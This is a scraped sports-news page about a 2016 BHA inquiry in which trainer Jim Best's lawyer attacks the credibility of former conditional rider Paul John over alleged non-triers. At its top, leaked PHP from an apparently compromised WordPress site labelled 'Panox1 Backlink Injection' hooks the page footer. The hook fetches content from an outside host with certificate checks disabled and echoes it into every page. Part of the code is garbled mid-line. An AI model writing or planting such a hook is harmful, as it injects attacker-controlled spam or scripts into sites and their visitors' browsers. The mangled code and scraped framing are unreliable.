// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Best to question credibility of rider in non-triers case – Next Sports News

Best to question credibility of rider in non-triers case

[ad_1]

Jim Best

Jim Best (above) and former conditional rider Paul John face charges

  PICTURE: Edward Whitaker  

 By Peter Scargill 4:40PM 25 FEB 2016 

TRAINER Jim Best plans a “full-frontal attack” on the credibility of his former conditional rider Paul John at a BHA inquiry into two alleged non-triers, claiming the ex-jockey is “capable of invention and fabrication”.

However, a request from Best’s QC Jonathan Laidlaw for the BHA to disclose the licensing and disciplinary history of John led to a delay in proceedings.

Laidlaw also requested to see email correspondence between the BHA and John, which had led to Best being charged with the more serious offence under rule (A) 30 and involves conduct that is prejudicial to horseracing in Britain. This carries a maximum fine of £15,000 or a ban of up to three years.

‘His credibility is in question’

Laidlaw said: “The credibility of Mr John is very much the crucial element in this case. Mr Best plans a full-frontal attack on Mr John and his credibility. I will make our position clear: Mr Best says that Mr John has lied and will lie again. He goes further to suggest that he is capable of invention and fabrication when giving evidence and it is about self motivation. His credibility is in question.”

Graeme McPherson QC, representing the BHA who are bringing charges against both Best and John over the running and riding of Echo Brava at Plumpton and Missile Man at Towcester in December, countered that Best’s licensing and disciplinary history would also have to be made available prompting Laidlaw to withdraw his request following a brief adjournment.

In relation to the emails sent between the BHA and John’s legal representative Rory Mac Neice, McPherson added: “I do not have the exact words so to paraphrase [they] stated Mr John wanted to come clean about this and that he was going to come clean about the Plumpton race as well.”

‘BHA must disclose the information’

Despite Laidlaw withdrawing his request, disciplinary panel chair Matthew Lohn said: “We believe this is no ordinary running and riding inquiry and we are in the position of deeming what is and is not relevant. We feel the BHA must disclose the information.”

Best has also been charged under rule (C) 45 which states a trainer has a duty to secure the best possible placing for their horse. John has been charged under rule (B) 59.2 in that he intentionally ensured a the horses failed to run on their merits.

The inquiry will resume on Thursday, March 3.

 

[ad_2]

Source link

Reply